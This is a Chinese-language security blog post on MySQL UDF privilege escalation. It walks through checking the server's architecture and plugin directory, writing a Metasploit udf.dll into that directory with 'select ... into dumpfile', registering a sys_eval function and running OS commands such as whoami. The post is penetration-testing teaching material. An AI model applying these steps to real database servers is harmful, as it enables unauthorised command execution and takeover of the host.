mysql udf提权

udf提权是利用mysql的自定义函数功能来加载恶意动态库,进而达到rce的效果。

Mysql 中的自定义函数

udf即user-defined function,是mysql中的一项功能,可以添加用户自定义函数,对MYSQL的功能进行扩充。

mysql中使用create function语句来添加自定义函数,比如:

1
2
3
4
5
6
7
8
9
10
mysql> create function my_add(a int, b int) returns int return (a+b);
Query OK, 0 rows affected (0.07 sec)

mysql> select my_add(1,2);
+-------------+
| my_add(1,2) |
+-------------+
| 3 |
+-------------+
1 row in set (0.00 sec)

可以使用show create function my_add;来查看创建的函数。

可以从动态库中加载自定义函数,例如:

1
2
3
4
5
6
7
8
9
10
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select sys_eval("whoami");
+--------------------+
| sys_eval("whoami") |
+--------------------+
| root |
+--------------------+
1 row in set (0.10 sec)

通过加载动态库的函数可以在mysql.func中查到其函数信息:

1
2
3
4
5
6
7
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

在 Mysql >= 5.1版本中,动态库需要在mysql指定的plugin文件夹下,如果该目录不存在,需要自行创建。该文件夹可以通过select @@plugin_dir;查看,默认是mysql安装目录中的/lib/plugin文件夹。

1
2
3
4
5
6
7
mysql> select @@plugin_dir;
+-----------------------------------------------------------------+
| @@plugin_dir |
+-----------------------------------------------------------------+
| D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-----------------------------------------------------------------+
1 row in set (0.00 sec)

要删除自定义的函数,可以使用drop function语句:

1
drop function if exists my_add;

利用UDF来提权

利用条件:

  • 可以执行create function 语句
  • 具有plugin目录的写权限,或者有webshell帮助

可以使用msf提供的动态库文件:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

首先确定目标机器的架构位数以及操作系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select @@version_compile_machine;
+---------------------------+
| @@version_compile_machine |
+---------------------------+
| x86_64 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win64 |
+----------------------+
1 row in set (0.00 sec)

确定plugin目录的位置:

1
2
3
4
5
6
7
mysql> select @@plugin_dir;
+-----------------------------------------------------------------+
| @@plugin_dir |
+-----------------------------------------------------------------+
| D:\dev software\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-----------------------------------------------------------------+
1 row in set (0.00 sec)

将动态库文件上传到plugin目录中,可以使用其他手段来辅助上传,也可以使用mysql的写文件操作来玩完成:

1
2
select 0x.... into dumpfile "D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";
# 其中 0x... 为udf.dll文件的16进制内容

之后执行create function创建函数操作:

1
create function sys_eval returns string soname 'udf.dll';

最后使用函数即可:

1
select sys_eval("whoami");

参考:

https://yiwenshao.github.io/2016/11/20/MySQL的UDF/
https://www.freebuf.com/articles/database/291175.html

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/03/07/渗透/udf提权/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog